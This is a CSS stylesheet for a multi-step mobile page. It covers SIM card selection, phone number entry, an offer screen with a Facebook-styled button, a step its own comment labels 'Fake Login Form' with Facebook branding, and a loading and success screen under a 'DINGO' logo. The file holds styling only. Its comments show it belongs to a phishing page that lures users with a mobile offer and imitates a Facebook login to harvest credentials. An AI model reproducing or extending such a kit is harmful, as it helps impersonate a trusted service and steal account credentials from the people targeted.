:root {
    --primary-color: #007bff;
    --secondary-color: #6c757d;
    --success-color: #28a745;
    --bg-color: #f8f9fa;
    --card-bg: #ffffff;
    --text-color: #333333;
    --fb-color: #1877f2;
}

* {
    box-sizing: border-box;
    margin: 0;
    padding: 0;
    font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;
}

body {
    background-color: var(--bg-color);
    color: var(--text-color);
    display: flex;
    justify-content: center;
    min-height: 100vh;
    padding: 20px;
}

.container {
    width: 100%;
    max-width: 480px; /* Mobile-first constraint */
    background-color: var(--card-bg);
    border-radius: 12px;
    box-shadow: 0 4px 12px rgba(0, 0, 0, 0.1);
    padding: 24px;
    overflow: hidden;
    position: relative;
    min-height: 400px;
    display: flex;
    flex-direction: column;
}

.step {
    display: none;
    flex-direction: column;
    align-items: center;
    width: 100%;
    animation: fadeIn 0.4s ease-in-out;
}

.step.active {
    display: flex;
}

h1, h2 {
    text-align: center;
    margin-bottom: 20px;
    color: #222;
}

h2 {
    font-size: 1.5rem;
}

p {
    text-align: center;
    margin-bottom: 20px;
    line-height: 1.5;
}

/* Step 1: SIM Selection */
.sim-grid {
    display: grid;
    grid-template-columns: repeat(2, 1fr);
    gap: 16px;
    width: 100%;
}

.sim-card {
    background: #fff;
    border: 2px solid #e0e0e0;
    border-radius: 10px;
    padding: 20px;
    text-align: center;
    cursor: pointer;
    transition: all 0.2s;
    display: flex;
    flex-direction: column;
    align-items: center;
    justify-content: center;
    height: 120px;
}

.sim-card:hover {
    border-color: var(--primary-color);
    transform: translateY(-2px);
    box-shadow: 0 4px 8px rgba(0,0,0,0.1);
}

.sim-img {
    max-width: 100%;
    height: auto;
    border-radius: 4px;
}

/* Step 2: Mobile Input */
.input-group {
    width: 100%;
    margin-bottom: 20px;
}

input[type="tel"], input[type="text"], input[type="password"] {
    width: 100%;
    padding: 12px 16px;
    border: 1px solid #ddd;
    border-radius: 8px;
    font-size: 1rem;
    outline: none;
    transition: border-color 0.2s;
}

input:focus {
    border-color: var(--primary-color);
}

.btn {
    width: 100%;
    padding: 12px;
    border: none;
    border-radius: 8px;
    font-size: 1rem;
    font-weight: 600;
    cursor: pointer;
    transition: background-color 0.2s;
}

.btn-primary {
    background-color: var(--primary-color);
    color: white;
}

.btn-primary:hover {
    background-color: #0056b3;
}

/* Step 3: Login Screen */
.offer-text {
    font-size: 1.1rem;
    color: #444;
    margin-bottom: 30px;
}

.btn-fb {
    background-color: var(--fb-color);
    color: white;
    display: flex;
    align-items: center;
    justify-content: center;
    gap: 10px;
}

.btn-fb:hover {
    background-color: #1564c8;
}

/* Step 4: Fake Login Form */
.fb-header {
    color: var(--fb-color);
    margin-bottom: 20px;
    font-weight: bold;
    font-size: 2rem;
}

/* Step 5: Loading & Success */
.spinner {
    border: 4px solid #f3f3f3;
    border-top: 4px solid var(--primary-color);
    border-radius: 50%;
    width: 40px;
    height: 40px;
    animation: spin 1s linear infinite;
    margin-bottom: 20px;
}

.success-message {
    color: var(--success-color);
    font-size: 1.2rem;
    font-weight: bold;
    text-align: center;
}

@keyframes spin {
    0% { transform: rotate(0deg); }
    100% { transform: rotate(360deg); }
}

@keyframes fadeIn {
    from { opacity: 0; transform: translateY(10px); }
    to { opacity: 1; transform: translateY(0); }
}

/* DINGO Header */
.dingo-header {
    width: 100%;
    display: flex;
    justify-content: center;
    margin-bottom: 20px;
}

.dingo-logo {
    height: 40px;
    width: auto;
}